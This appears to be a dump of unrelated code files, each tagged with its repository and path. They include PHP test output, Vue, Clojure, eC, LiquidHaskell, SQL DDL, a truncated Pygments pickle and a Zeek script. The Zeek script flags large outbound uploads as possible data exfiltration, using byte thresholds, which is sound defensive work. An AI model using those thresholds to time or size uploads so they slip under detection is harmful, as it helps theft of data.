int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode at --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode w --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode wb --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode wt --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode x --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode xb --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode xt --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- Testing fread() with file having content of type text_with_new_line --
-- File opened in mode a --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode ab --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode at --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode w --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode wb --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode wt --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(%r1024|1137%r)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(%r1024|1137%r)
bool(false)
-- File opened in mode x --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode xb --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(1024)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(1024)
bool(false)
-- File opened in mode xt --
-- Reading beyond filesize, expected : 1024 bytes --
int(0)
bool(false)
Reading 1030 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(0)
bool(false)
-- Reading beyond filesize when file pointer pointing to EOF, expected : 0 bytes --
int(%r1024|1137%r)
bool(false)
Reading 10 bytes from file, expecting 0 bytes ...
Notice: fread(): Read of 8192 bytes failed with errno=9 Bad file descriptor in %s on line %d
OK
int(%r1024|1137%r)
bool(false)
Done
| PHP | 5 | NathanFreeman/php-src | ext/standard/tests/file/fread_variation4.phpt | [
"PHP-3.01"
] |
.foo {
border: 1px dashed currentColor;
border: 1px dashed currentcolor;
}
| CSS | 2 | fuelingtheweb/prettier | tests/css_color/current-color.css | [
"MIT"
] |
<template>
<div
class="project-dashboard page"
:class="{
customizing: customizeMode,
'widget-details-shown': injected.isWidgetDetailsShown
}"
>
<ContentView
:title="$t('org.vue.views.project-dashboard.title')"
>
<template slot="actions">
<VueButton
v-if="!customizeMode"
icon-left="edit"
:label="$t('org.vue.views.project-dashboard.cutomize')"
class="primary round"
@click="customizeMode = true"
/>
<VueButton
v-else
icon-left="done"
:label="$t('org.vue.views.project-dashboard.done')"
class="primary round"
@click="customizeMode = false"
/>
</template>
<div class="panes fill-height">
<ApolloQuery
ref="widgets"
:query="require('@/graphql/widget/widgets.gql')"
class="widgets"
>
<div
slot-scope="{ result: { data, loading } }"
class="widgets-wrapper"
>
<VueLoadingIndicator
v-if="loading && (!data || !data.widgets)"
class="overlay"
/>
<template v-else-if="data">
<Widget
v-for="widget of data.widgets"
:key="widget.id"
:widget="widget"
:customize-mode="customizeMode"
/>
</template>
</div>
</ApolloQuery>
<transition name="sidepane">
<WidgetAddPane
v-if="customizeMode"
@close="customizeMode = false"
/>
</transition>
</div>
</ContentView>
</div>
</template>
<script>
import OnWindowResize from '@/mixins/OnWindowResize'
const PADDING = 8
export default {
provide () {
return {
dashboard: this.injected
}
},
mixins: [
OnWindowResize()
],
metaInfo () {
return {
title: this.$t('org.vue.views.project-dashboard.title')
}
},
data () {
return {
customizeMode: false,
injected: {
width: 0,
height: 0,
left: 0,
top: 0,
isWidgetDetailsShown: false
}
}
},
methods: {
onWindowResize () {
const el = this.$refs.widgets.$el
if (!el) return
const bounds = el.getBoundingClientRect()
this.injected.width = bounds.width - PADDING * 2
this.injected.height = bounds.height - PADDING * 2
this.injected.left = bounds.left
this.injected.top = bounds.top
}
}
}
</script>
<style lang="stylus" scoped>
.panes
h-box()
.widgets
flex 1
overflow auto
padding ($padding-item / 2)
box-sizing border-box
.widgets-wrapper
position relative
transform-origin top left
transition transform .15s
.widget-add-pane
width 360px
.customizing
.widgets-wrapper
transform scale(.7)
.widget-details-shown
.widgets
overflow hidden
.widgets-wrapper > .widget /deep/ > .shell
opacity 0
</style>
| Vue | 4 | brizer/vue-cli | packages/@vue/cli-ui/src/components/dashboard/ProjectDashboard.vue | [
"MIT"
] |
cradle:
cabal:
component: "lib:hls-install"
| COBOL | 0 | michaelpj/haskell-language-server | install/hie.yaml.cbl | [
"Apache-2.0"
] |
// Copyright 2016 gRPC authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
syntax = "proto3";
package grpc_protoc_plugin;
enum PayloadType {
// Compressable text format.
COMPRESSABLE= 0;
// Uncompressable binary format.
UNCOMPRESSABLE = 1;
// Randomly chosen from all other formats defined in this enum.
RANDOM = 2;
}
message Payload {
PayloadType payload_type = 1;
oneof payload_body {
string payload_compressable = 2;
bytes payload_uncompressable = 3;
}
}
| Protocol Buffer | 4 | samotarnik/grpc | src/python/grpcio_tests/tests/protoc_plugin/protos/payload/test_payload.proto | [
"Apache-2.0"
] |
(ns luminus.routes.home
(:require
[clojure.java.io :as io]
[luminus.middleware :as middleware]
[ring.util.response]
[ring.util.http-response :as response]))
(defn index-page [request]
{:body ""})
(defn user-page [{:keys [path-params query-params body-params]}]
{:body (:id path-params) })
(defn user-post [request]
{:body ""})
(defn home-routes []
[""
{:middleware [middleware/wrap-formats]}
["/" {:get index-page}]
["/user" {:post user-post}]
["/user/:id" {:get user-page}]])
| Clojure | 4 | mattiapenati/web-frameworks | clojure/luminus/src/clj/luminus/routes/home.clj | [
"MIT"
] |
.native-inline {
visibility: hidden;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu,
Cantarell, "Helvetica Neue", Helvetica, Arial, sans-serif;
opacity: 0;
transition: all .25s ease-in-out;
}
.native-show {
visibility: visible;
opacity: 1;
}
.native-inline {
display: block;
margin-top: 1.5em;
padding: 10px 20px;
border-radius: 4px;
background: repeating-linear-gradient(-45deg, transparent, transparent 5px, hsla(0, 0%, 0%, .03) 5px, hsla(0, 0%, 0%, .03) 10px) hsla(0, 0%, 0%, .03);
}
.native-inline a {
display: block;
text-decoration: none;
line-height: 1.5;
}
.native-inline .sponsor {
position: relative;
top: -1px;
margin-right: 4px;
padding: 2px 6px 3px;
border: solid 1px currentColor;
border-radius: 2px;
color: currentColor;
content: "Sponsor";
text-transform: uppercase;
letter-spacing: 1px;
font-weight: 600;
font-size: 11px;
line-height: 1;
}
| CSS | 4 | gavi-shandler/mongoose | docs/css/inlinecpc.css | [
"MIT"
] |
#define COBJMACROS
#define WIN32_LEAN_AND_MEAN
#define UNICODE
#define Method _Method
#define Array _Array
#define byte _byte
#define int64 _int64
#include <shlobj.h>
#undef Method
#undef Array
#undef byte
#undef int64
#ifdef ECERE_STATIC
import static "ecere"
#else
import "ecere"
#endif
bool CreateLink(char * lpszPathObj, char * lpszPathLink, char * lpszDesc)
{
HRESULT hres;
IShellLink* psl;
CoInitialize(NULL);
hres = CoCreateInstance(&CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, &IID_IShellLink, (void *)&psl);
if (SUCCEEDED(hres))
{
IPersistFile * ppf;
uint16 pathObj[2048] = { 0 };
uint16 desc[2048] = { 0 };
UTF8toUTF16Buffer(lpszPathObj, pathObj, sizeof(pathObj) / sizeof(uint16));
UTF8toUTF16Buffer(lpszDesc, desc, sizeof(desc) / sizeof(uint16));
IShellLinkW_SetPath(psl, pathObj);
IShellLinkW_SetDescription(psl, desc);
//hres = IShellLinkA_QueryInterface(psl, &IID_IPersistFile, (void *)&ppf);
hres = IShellLinkW_QueryInterface(psl, &IID_IPersistFile, (void *)&ppf);
if(SUCCEEDED(hres))
{
WCHAR wsz[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, lpszPathLink, -1, wsz, MAX_PATH);
hres = IPersistFile_Save(ppf, wsz, TRUE);
IPersistFile_Release(ppf);
}
IShellLinkW_Release(psl);
}
return hres == 0;
}
bool GetLinkTarget(char * lpszPathObj, char ** lpszPathLink)
{
HRESULT hres;
IShellLink* psl;
CoInitialize(NULL);
hres = CoCreateInstance(&CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, &IID_IShellLink, (void *)&psl);
if (SUCCEEDED(hres))
{
IPersistFile * ppf;
uint16 pathObj[2048] = { 0 };
UTF8toUTF16Buffer(lpszPathObj, pathObj, sizeof(pathObj) / sizeof(uint16));
hres = IShellLinkW_QueryInterface(psl, &IID_IPersistFile, (void *)&ppf);
if(SUCCEEDED(hres))
{
WCHAR wsz[MAX_PATH];
if(MultiByteToWideChar(CP_ACP, 0, lpszPathObj, -1, wsz, MAX_PATH))
{
if(SUCCEEDED(IPersistFile_Load(ppf, wsz, STGM_READ)))
{
WCHAR szTarget[MAX_PATH];
if(NOERROR == IShellLinkW_GetPath(psl, szTarget, MAX_PATH, NULL, 0))
{
char pathTarget[2048] = { 0 };
UTF16toUTF8Buffer(szTarget, pathTarget, sizeof(pathTarget) / sizeof(uint16));
*lpszPathLink = CopyString(pathTarget);
}
}
}
IPersistFile_Release(ppf);
}
IShellLinkW_Release(psl);
}
CoUninitialize();
return hres == 0;
}
| eC | 3 | N-eil/ecere-sdk | extras/windowsShortcut.ec | [
"BSD-3-Clause"
] |
---
layout: post
title: "KMeans Clustering I"
date: 2013-02-16 16:12
author: Ranjit Jhala
published: true
comments: true
external-url:
categories: basic measures
demo: KMeansHelper.hs
---
[Last time][safeList] we introduced a new specification mechanism called a
*measure* and demonstrated how to use it to encode the *length* of a list.
We saw how measures could be used to verify that functions like `head` and
`tail` were only called with non-empty lists (whose length was strictly
positive). As several folks pointed out, once LiquidHaskell can reason about
lengths, it can do a lot more than just analyze non-emptiness.
Indeed!
Over the next *two* posts, lets see how one might implement a Kmeans
algorithm that clusters `n`-dimensional points groups, and how LiquidHaskell
can help us write and enforce various dimensionality invariants along the way.
<!-- more -->
<!-- For example, XXX pointed out that we can use the type system to give an *upper* bound on the size of a list, e.g. using lists
upper bounded by a gigantic `MAX_INT` value as a proxy for finite lists. -->
\begin{code}
module KMeansHelper where
import Prelude hiding (zipWith)
import Data.List (span)
import Language.Haskell.Liquid.Prelude (liquidError)
\end{code}
Rather than reinvent the wheel, we will modify an existing implementation
of K-Means, [available on hackage][URL-kmeans]. This may not be the
most efficient implementation, but its a nice introduction to the algorithm,
and the general invariants will hold for more sophisticated implementations.
We have broken this entry into two convenient, bite-sized chunks:
+ **Part I** Introduces the basic types and list operations needed by KMeans,
+ **Part II** Describes how the operations are used in the KMeans implementation.
The Game: Clustering Points
---------------------------
The goal of [K-Means clustering](http://en.wikipedia.org/wiki/K-means_clustering)
is the following. Given
- **Input** : A set of *points* represented by *n-dimensional points*
in *Euclidian* space, return
- **Output** : A partitioning of the points, into K clusters, in a manner that
minimizes sum of distances between each point and its cluster center.
The Players: Types
------------------
Lets make matters concrete by creating types for the different elements of the algorithm.
**1. Fixed-Length Lists** We will represent n-dimensional points using
good old Haskell lists, refined with a predicate that describes the
dimensionality (i.e. length.) To simplify matters, lets package this
into a *type alias* that denotes lists of a given length `N`.
\begin{code}
{-@ type List a N = {v : [a] | (len v) = N} @-}
\end{code}
**2. Points** Next, we can represent an `N`-dimensional point as list of `Double` of length `N`,
\begin{code}
{-@ type Point N = List Double N @-}
\end{code}
**3. Clusters** A cluster is a **non-empty** list of points,
\begin{code}
{-@ type NonEmptyList a = {v : [a] | (len v) > 0} @-}
\end{code}
**4. Clustering** And finally, a clustering is a list of (non-empty) clusters.
\begin{code}
{-@ type Clustering a = [(NonEmptyList a)] @-}
\end{code}
**Notation:** When defining refinement type aliases, we use uppercase variables like `N`
to distinguish value- parameters from the lowercase type parameters like `a`.
**Aside:** By the way, if you are familiar with the *index-style* length
encoding e.g. as found in [DML][dml] or [Agda][agdavec], then its worth
noting that despite appearances, our `List` and `Point` definitions are
*not* indexed. We're just using the indices to define abbreviations for the
refinement predicates, and we have deliberately chosen the predicates to
facilitate SMT based checking and inference.
Basic Operations on Points and Clusters
=======================================
Ok, with the types firmly in hand, let us go forth and develop the KMeans
clustering implementation. We will use a variety of small helper functions
(of the kind found in `Data.List`.) Lets get started by looking at them
through our newly *refined* eyes.
Grouping
--------
The first such function is [groupBy][URL-groupBy]. We can
refine its type so that instead of just producing a `[[a]]`
we know that it produces a `Clustering a` which is a list
of *non-empty* lists.
\begin{code}
{-@ groupBy ::(a -> a -> Bool) -> [a] -> (Clustering a) @-}
groupBy _ [] = []
groupBy eq (x:xs) = (x:ys) : groupBy eq zs
where (ys,zs) = span (eq x) xs
\end{code}
Intuitively, its pretty easy to see how LiquidHaskell verifies the refined
specification:
- Each element of the output list is of the form `x:ys`
- For any list `ys` the length is non-negative, i.e. `(len ys) >= 0`
- The `len` of `x:ys` is `1 + (len ys)`, that is, strictly positive.
Partitioning
------------
Next, lets look the function
\begin{code}
{-@ partition :: size:PosInt -> [a] -> (Clustering a) @-}
{-@ type PosInt = {v: Int | v > 0 } @-}
\end{code}
which is given a *strictly positive* integer argument,
a list of `a` values, and returns a `Clustering a`,
that is, a list of non-empty lists. (Each inner list has a length
that is less than `size`, but we shall elide this for simplicity.)
The function is implemented in a straightforward manner, using the
library functions `take` and `drop`
\begin{code}
partition size [] = []
partition size ys@(_:_) = zs : partition size zs'
where
zs = take size ys
zs' = drop size ys
\end{code}
To verify that a valid `Clustering` is produced, LiquidHaskell needs only
verify that the list `zs` above is non-empty, by suitably connecting the
properties of the inputs `size` and `ys` with the output.
\begin{code} We have [verified elsewhere][URL-take] that
take :: n:{v: Int | v >= 0 }
-> xs:[a]
-> {v:[a] | (len v) = (if ((len xs) < n) then (len xs) else n) }
\end{code}
In other words, the output list's length is the *smaller of* the input
list's length and `n`. Thus, since both `size` and the `(len ys)` are
greater than `1`, LiquidHaskell deduces that the list returned by `take
size ys` has a length greater than `1`, i.e., is non-empty.
Zipping
-------
To compute the *Euclidean distance* between two points, we will use
the `zipWith` function. We must make sure that it is invoked on points
with the same number of dimensions, so we write
\begin{code}
{-@ zipWith :: (a -> b -> c)
-> xs:[a] -> (List b (len xs)) -> (List c (len xs)) @-}
zipWith f (a:as) (b:bs) = f a b : zipWith f as bs
zipWith _ [] [] = []
\end{code}
The type stipulates that the second input list and the output have
the same length as the first input. Furthermore, it rules out the
case where one list is empty and the other is not, as in that case
the former's length is zero while the latter's is not.
Transposing
-----------
The last basic operation that we will require is a means to
*transpose* a `Matrix`, which itself is just a list of lists:
\begin{code}
{-@ type Matrix a Rows Cols = (List (List a Cols) Rows) @-}
\end{code}
The `transpose` operation flips the rows and columns. I confess that I
can never really understand matrices without concrete examples,
and even then, barely.
\begin{code} So, lets say we have a *matrix*
m1 :: Matrix Int 4 2
m1 = [ [1, 2]
, [3, 4]
, [5, 6]
, [7, 8] ]
\end{code}
\begin{code} then the matrix `m2 = transpose 2 3 m1` should be
m2 :: Matrix Int 2 4
m2 = [ [1, 3, 5, 7]
, [2, 4, 6, 8] ]
\end{code}
We will use a `Matrix a m n` to represent a *single cluster* of `m` points
each of which has `n` dimensions. We will transpose the matrix to make it
easy to *sum* and *average* the points along *each* dimension, in order to
compute the *center* of the cluster.
As you can work out from the above, the code for `transpose` is quite
straightforward: each *output row* is simply the list of `head`s of
the *input rows*:
\begin{code}
transpose :: Int -> Int -> [[a]] -> [[a]]
transpose 0 _ _ = []
transpose c r ((col00 : col01s) : row1s)
= row0' : row1s'
where
row0' = col00 : [ col0 | (col0 : _) <- row1s ]
rest = col01s : [ col1s | (_ : col1s) <- row1s ]
row1s' = transpose (c-1) r rest
\end{code}
LiquidHaskell verifies that
\begin{code}
{-@ transpose :: c:Int -> r:PosInt -> Matrix a r c -> Matrix a c r @-}
\end{code}
Try to work it out for yourself on pencil and paper.
If you like you can get a hint by seeing how LiquidHaskell figures it out.
Lets work *backwards*.
\begin{code} LiquidHaskell verifies the output type by inferring that
row0' :: (List a r)
row1s' :: List (List a r) (c - 1) -- i.e. Matrix a (c - 1) r
\end{code}
\begin{code} and so, by simply using the *measure-refined* type for `:`
(:) :: x:a -> xs:[a] -> { v : [a] | (len v) = 1 + (len xs) }
\end{code}
\begin{code} LiquidHaskell deduces that
row0 : rows' :: List (List a r) c
\end{code}
\begin{code} That is,
row0 : rows' :: Matrix a c r
\end{code}
Excellent! Now, lets work backwards. How does it infer the types of `row0'` and `row1s'`?
The first case is easy: `row0'` is just the list of *heads* of each row, hence a `List a r`.
\begin{code} Now, lets look at `row1s'`. Notice that `row1s` is the matrix of all *except* the first row of the input Matrix, and so
row1s :: Matrix a (r-1) c
\end{code}
\begin{code} and so, as
col01s :: List a (c-1)
col1s :: List a (c-1)
\end{code}
\begin{code} LiquidHaskell deduces that since `rest` is the concatenation of `r-1` tails from `row1s`
rest = col01s : [ col1s | (_ : col1s) <- row1s ]
\end{code}
\begin{code} the type of `rest` is
rest :: List (List a (c - 1)) r
\end{code}
\begin{code} which is just
rest :: Matrix a r (c-1)
\end{code}
Now, LiquidHaskell deduces `row1s' :: Matrix a (c-1) r` by inductively
plugging in the output type of the recursive call, thereby checking the
function's signature.
*Whew!* That was a fair bit of work, wasn't it!
Happily, we didn't have to do *any* of it. Instead, using the SMT solver,
LiquidHaskell ploughs through calculations like that and guarantees to us
that `transpose` indeed flips the dimensions of the inner and outer lists.
**Aside: Comprehensions vs. Map** Incidentally, the code above is essentially
that of `transpose` [from the Prelude][URL-transpose] with some extra
local variables for exposition. You could instead use a `map head` and `map tail`
and I encourage you to go ahead and [see for yourself.][demo]
Intermission
------------
Time for a break -- [go see a cat video!][maru] -- or skip it, stretch your
legs, and return post-haste for the [next installment][kmeansII], in which
we will use the types and functions described above, to develop the clustering
algorithm.
[safeList]: /blog/2013/01/31/safely-catching-a-list-by-its-tail.lhs/
[kmeansI]: /blog/2013/02/16/kmeans-clustering-I.lhs/
[kmeansII]: /blog/2013/02/17/kmeans-clustering-II.lhs/
[URL-take]: https://github.com/ucsd-progsys/liquidhaskell/blob/master/include/GHC/List.lhs#L334
[URL-groupBy]: http://hackage.haskell.org/packages/archive/base/latest/doc/html/Data-List.html#v:groupBy
[URL-transpose]: http://hackage.haskell.org/packages/archive/base/latest/doc/html/src/Data-List.html#transpose
[maru]: http://www.youtube.com/watch?v=8uDuls5TyNE
[demo]: http://goto.ucsd.edu/~rjhala/liquid/haskell/demo/#?demo=KMeansHelper.hs
[URL-kmeans]: http://hackage.haskell.org/package/kmeans
[dml]: http://www.cs.bu.edu/~hwxi/DML/DML.html
[agdavec]: http://code.haskell.org/Agda/examples/Vec.agda
| Literate Haskell | 5 | curiousleo/liquidhaskell | docs/blog/2013-02-16-kmeans-clustering-I.lhs | [
"MIT",
"BSD-3-Clause"
] |
CREATE TABLE `tb_sxbbqclsgf` (
`col_avzjcdfkfv` year(4) NOT NULL DEFAULT '2019',
`col_kgfprqgdwt` mediumtext CHARACTER SET latin1,
CONSTRAINT PRIMARY KEY (`col_avzjcdfkfv`),
UNIQUE `col_kgfprqgdwt` (`col_kgfprqgdwt`(6))
) DEFAULT CHARSET=latin1;
CREATE TABLE `tb_uakpdqzysm` (
`col_zknooyoueg` time NOT NULL DEFAULT '00:00:00',
`col_xavytdfgxu` mediumtext CHARACTER SET utf8,
`col_mgwiohebft` mediumtext CHARACTER SET utf8,
`col_bejzwcvfmz` date DEFAULT '2019-07-04',
UNIQUE `uk_cryfvwxbvx` (`col_zknooyoueg`,`col_xavytdfgxu`(9))
) DEFAULT CHARSET=utf8;
CREATE TABLE `tb_vktpftxscc` (
`col_wqtdmdoyoo` longblob
) DEFAULT CHARSET=latin1;
RENAME TABLE `tb_uakpdqzysm` TO `tb_btqvbuxdyv`, `tb_vktpftxscc` TO `tb_fficunfgca`;
DROP TABLE tb_fficunfgca;
ALTER TABLE `tb_sxbbqclsgf` ADD `col_glgspzmrxu` mediumint zerofill NOT NULL AFTER `col_avzjcdfkfv`;
ALTER TABLE `tb_sxbbqclsgf` ADD COLUMN (`col_rezszlbpen` mediumtext, `col_nmxcrltjbv` binary);
ALTER TABLE `tb_sxbbqclsgf` ADD (`col_wctphwmxin` smallint(103) unsigned zerofill NULL, `col_yadwowaswm` mediumint(118) unsigned zerofill NOT NULL);
ALTER TABLE `tb_sxbbqclsgf` ADD COLUMN `col_tekylcrmef` bit(17) NULL DEFAULT b'0';
ALTER TABLE `tb_sxbbqclsgf` ADD COLUMN `col_ukcpwepvny` timestamp(1) DEFAULT CURRENT_TIMESTAMP(1) FIRST;
ALTER TABLE `tb_sxbbqclsgf` DEFAULT CHARACTER SET utf8;
ALTER TABLE `tb_sxbbqclsgf` ADD UNIQUE `uk_htumixicdh` (`col_avzjcdfkfv`,`col_kgfprqgdwt`(28));
ALTER TABLE `tb_sxbbqclsgf` ALTER COLUMN `col_nmxcrltjbv` SET DEFAULT NULL;
ALTER TABLE `tb_sxbbqclsgf` CHANGE `col_yadwowaswm` `col_tappjfodgm` date NULL;
ALTER TABLE `tb_sxbbqclsgf` CHANGE COLUMN `col_nmxcrltjbv` `col_raprmikjbo` date;
ALTER TABLE `tb_sxbbqclsgf` DROP COLUMN `col_tappjfodgm`, DROP COLUMN `col_glgspzmrxu`;
ALTER TABLE `tb_sxbbqclsgf` DROP COLUMN `col_rezszlbpen`, DROP COLUMN `col_raprmikjbo`;
ALTER TABLE `tb_sxbbqclsgf` DROP PRIMARY KEY;
ALTER TABLE `tb_sxbbqclsgf` DROP KEY `uk_htumixicdh`;
| SQL | 1 | yuanweikang2020/canal | parse/src/test/resources/ddl/alter/test_22.sql | [
"Apache-2.0"
] |
(lp1
(ccopy_reg
_reconstructor
p2
(cpygments.token
_TokenType
p3
c__builtin__
tuple
p4
(S'Other'
p5
ttRp6
(dp7
S'subtypes'
p8
c__builtin__
set
p9
((ltRp10
sS'parent'
p11
g2
(g3
g4
(ttRp12
(dp13
S'Comment'
p14
g2
(g3
g4
(g14
ttRp15
(dp16
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a. | Python traceback | 0 | mjtamlyn/django-braces | docs/build/Pygments/tests/examplefiles/output/database.pytb | [
"BSD-3-Clause"
] |
##! This script alerts on any large uploads to the Internet
##! and emails alerts on sufficiently large uploads if enabled.
##!
##! Based on https://github.com/sooshie/bro-scripts/blob/master/2.4-scripts/largeUpload.bro
##! by Brian Kellogg
##!
##! And http://resources.sei.cmu.edu/asset_files/Presentation/2014_017_001_90063.pdf
@load base/frameworks/notice
@load evernote/human
module Exfiltration;
export {
# Notice large flows
redef enum Notice::Type += {
Flow,
Large_Flow,
Multiple_Flows,
};
# Redefine flow limits appropriate for your environment
const flow_bytes_tx_to_notice = 20000000 &redef; # single conn Tx bytes over which we want to alert on immediately: 20MB
const flow_bytes_tx_to_log_and_track = 1000000 &redef; # destination hosts to record if over this many bytes
const count_of_tracked_flows_to_notice = 13 &redef; # number of large uploads per IP for an exception
